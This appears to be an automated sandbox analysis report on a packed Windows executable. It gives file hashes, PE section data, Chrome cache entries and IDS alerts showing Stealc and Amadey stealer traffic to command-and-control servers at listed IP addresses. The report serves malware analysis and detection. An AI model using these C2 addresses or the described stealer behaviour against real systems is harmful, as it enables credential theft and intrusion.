Preview:	.....8.=..L..e....F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................'.@3P.........................

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (768)
Category:	downloaded
Size (bytes):	773
Entropy (8bit):	5.136584900694892
Encrypted:	false
SSDEEP:	24:Pbp2DMzg1BHslgT9lCuABu3E7HHHHHHHYqmffffffo:PYECKlgZ01Bu3EEqmffffffo
MD5:	AF57573D9F323955CE42400B636981EF
SHA1:	EB7BD4741F6F879D3C86E9C5434FBD88BD32D608
SHA-256:	934D299DB5D75E79BFB42399D1F18B9B122B3F9680CBD250BA565D8EAE283BB3
SHA-512:	8D5A8DAD23D50BD325E7B76E7009C2B9FE30BA8A9DD0D6B013C1C965F00B0DDF41191A2E2D196F0C5E3F2C4C09407F0BF59DC49C465B63C1C5B425F9407A6090
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["nyt connections hints december 1","san antonio spurs vs sacramento kings","dogecoin price","fortnite chapter 6","notre dame cathedral fire","snow storm weather forecast","detroit lions roster moves","gold deposit china"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1250,856,855,854,853,852,851,850],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133000
Entropy (8bit):	5.435658383264032
Encrypted:	false
SSDEEP:	3072:flkX3ioI5wrfFiC8jMbk/5xnRDpvsMTwR2i6o:fO3dDFqr/5xnRDpvrwR8o
MD5:	725C8B2EBEE4E5F3BEE728DAED4C233B
SHA1:	8FE95C37A9C3B425A4EFE8106D765651E2C2704D
SHA-256:	C7924CBDB6C3C9D67AD25748D80DB37C0CE4AB3B6143FF735F9FB3150074B737
SHA-512:	50A0354FD71EE52B48F833B0DA1DAFB5F4A6B6292B3A26ECF7B2483F81A2015E54CD4DBE07E18A4F6657906C71D6B26CC8392A6CB1B9C883A01E754F3B50CDC1
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2802)
Category:	downloaded
Size (bytes):	174866
Entropy (8bit):	5.55119411677623
Encrypted:	false
SSDEEP:	3072:WEBR5OnrJtUy+9+thjN33FhJpGha9HMRWIjFBJBHTZPYb62+vQ1jV9HyT++Wq7ki:WKR5Or8y+9+tdFFhJchaZMRWIhBJBHTl
MD5:	E75DAA83A93E581139D8AD8EE8D62358
SHA1:	AC0DED87D443840A77B446D53DA22BFD52441D5C
SHA-256:	177BD25B85BF254F44B515271222B773D2CF618FA17587D2DD507CE2104A3542
SHA-512:	50FD351CB34D216BC443BC8A3FD2773925FC7151B180E5F697750B356A2649AC302E1FEF4575416C02FF04498F877EB4326F5B21AAC713AAAA38ED6E8BB65C43
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Z8FBMQoacoc.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTt16WS-AyvNEln9-TaO-tZR_15utQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946258040232959
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'757'184 bytes
MD5:	f9e8c178565263aaa83c1f3bb392bd90
SHA1:	634e3b6b849af9f8a3f7192fcfd77e761a1b1b11
SHA256:	bf9612df7ae108f00c42fe875dccee3da8988049d505e1ac08ab848eec5d52c3
SHA512:	f8569bb10d51c701765e8c1cc381f6231bee273025aceefa6ba7afb088100a21d0ef3a14192c57658b835b86010fb05096e9a9e74104bf5a350712407e58a444
SSDEEP:	49152:XI48qcr+Q7yrycYd254qPplZDRbinPl7GsGWYWp:448qHicMqBj1UhZ
TLSH:	268533377E2A981EC5115BB549E6D338F6BEF2640BE483DA074AC8F98C63DD417432A1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........PE..L...<.Jg...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa7a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x674AE73C [Sat Nov 30 10:21:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE45CAB959Ah
stmxcsr dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [0400000Ah], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	0d97736134139ff9e2f864ff5f6d042d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1f0	0x200	9536d2b3a2eda870e2407104c9596139	False	0.576171875	data	5.048164681214948	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x299000	0x200	db6350ca03ce9f0e6003049df5e53f97	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
myujmcep	0x4e5000	0x194000	0x193200	87a1a0b7b4c0af5f87103cc0271325ff	False	0.9948825096899225	data	7.9547694212447535	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ajcoremj	0x679000	0x1000	0x400	a8d197683a8dc063d16890fed7f4116c	False	0.75	data	5.941384317362286	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x67a000	0x3000	0x2200	c868d55ed71c085782e2026b854ffc88	False	0.08972886029411764	DOS executable (COM)	1.0388810639701322	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x24a058	0x198	ASCII text, with CRLF line terminators			0.5833333333333334

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-02T07:37:21.917965+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49724	185.215.113.206	80	TCP
2024-12-02T07:37:22.385232+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49724	185.215.113.206	80	TCP
2024-12-02T07:37:22.506635+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49724	TCP
2024-12-02T07:37:22.845255+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49724	185.215.113.206	80	TCP
2024-12-02T07:37:22.980055+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49724	TCP
2024-12-02T07:37:24.665150+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49724	185.215.113.206	80	TCP
2024-12-02T07:37:25.471150+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49724	185.215.113.206	80	TCP
2024-12-02T07:37:52.640318+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-02T07:37:54.587925+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-02T07:37:55.924824+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-02T07:37:57.138784+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-02T07:38:00.749129+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-02T07:38:01.878061+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49823	185.215.113.206	80	TCP
2024-12-02T07:38:07.872227+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49859	185.215.113.16	80	TCP
2024-12-02T07:39:05.784123+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49989	185.215.113.43	80	TCP
2024-12-02T07:39:10.371460+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50001	31.41.244.11	80	TCP
2024-12-02T07:39:16.614020+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49996	TCP
2024-12-02T07:39:18.040585+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50019	185.215.113.43	80	TCP
2024-12-02T07:39:19.556273+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50024	185.215.113.16	80	TCP
2024-12-02T07:39:26.672199+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50025	185.215.113.43	80	TCP
2024-12-02T07:39:28.221361+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50026	185.215.113.16	80	TCP
2024-12-02T07:39:32.683068+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50027	172.67.165.166	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2024 07:37:09.865529060 CET	443	49711	20.198.118.190	192.168.2.6
Dec 2, 2024 07:37:10.309328079 CET	443	49711	20.198.118.190	192.168.2.6
Dec 2, 2024 07:37:10.310929060 CET	49711	443	192.168.2.6	20.198.118.190
Dec 2, 2024 07:37:10.310976028 CET	49711	443	192.168.2.6	20.198.118.190
Dec 2, 2024 07:37:10.311093092 CET	49711	443	192.168.2.6	20.198.118.190
Dec 2, 2024 07:37:10.430888891 CET	443	49711	20.198.118.190	192.168.2.6
Dec 2, 2024 07:37:10.430912018 CET	443	49711	20.198.118.190	192.168.2.6
Dec 2, 2024 07:37:10.431025028 CET	443	49711	20.198.118.190	192.168.2.6
Dec 2, 2024 07:37:10.645524025 CET	49712	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:10.645574093 CET	443	49712	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:10.645648003 CET	49712	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:10.646368980 CET	49712	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:10.646384954 CET	443	49712	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:10.873333931 CET	443	49711	20.198.118.190	192.168.2.6
Dec 2, 2024 07:37:10.929171085 CET	49711	443	192.168.2.6	20.198.118.190
Dec 2, 2024 07:37:11.107270002 CET	443	49711	20.198.118.190	192.168.2.6
Dec 2, 2024 07:37:11.147908926 CET	49711	443	192.168.2.6	20.198.118.190
Dec 2, 2024 07:37:11.317754030 CET	443	49711	20.198.118.190	192.168.2.6
Dec 2, 2024 07:37:11.320775986 CET	49711	443	192.168.2.6	20.198.118.190
Dec 2, 2024 07:37:11.440782070 CET	443	49711	20.198.118.190	192.168.2.6
Dec 2, 2024 07:37:11.507339001 CET	49674	443	192.168.2.6	173.222.162.64
Dec 2, 2024 07:37:11.507339001 CET	49673	443	192.168.2.6	173.222.162.64
Dec 2, 2024 07:37:11.835460901 CET	49672	443	192.168.2.6	173.222.162.64
Dec 2, 2024 07:37:11.883287907 CET	443	49711	20.198.118.190	192.168.2.6
Dec 2, 2024 07:37:11.929195881 CET	49711	443	192.168.2.6	20.198.118.190
Dec 2, 2024 07:37:13.194547892 CET	443	49712	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:13.194675922 CET	49712	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:13.200530052 CET	49712	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:13.200550079 CET	443	49712	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:13.201117992 CET	443	49712	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:13.203092098 CET	49712	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:13.203156948 CET	49712	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:13.203162909 CET	443	49712	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:13.203305006 CET	49712	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:13.243325949 CET	443	49712	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:13.767718077 CET	443	49712	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:13.768047094 CET	443	49712	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:13.768114090 CET	49712	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:13.768991947 CET	49712	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:13.769010067 CET	443	49712	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:13.871583939 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:13.871620893 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:13.871704102 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:13.872236013 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:13.872252941 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:15.658771992 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:15.658890009 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:15.666903019 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:15.666913986 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:15.667218924 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:15.678273916 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:15.723332882 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.144357920 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.144381046 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.144397020 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.144494057 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.144506931 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.144536972 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.144563913 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.329209089 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.329231977 CET	443	49713	13.107.246.63	192.168.2.6
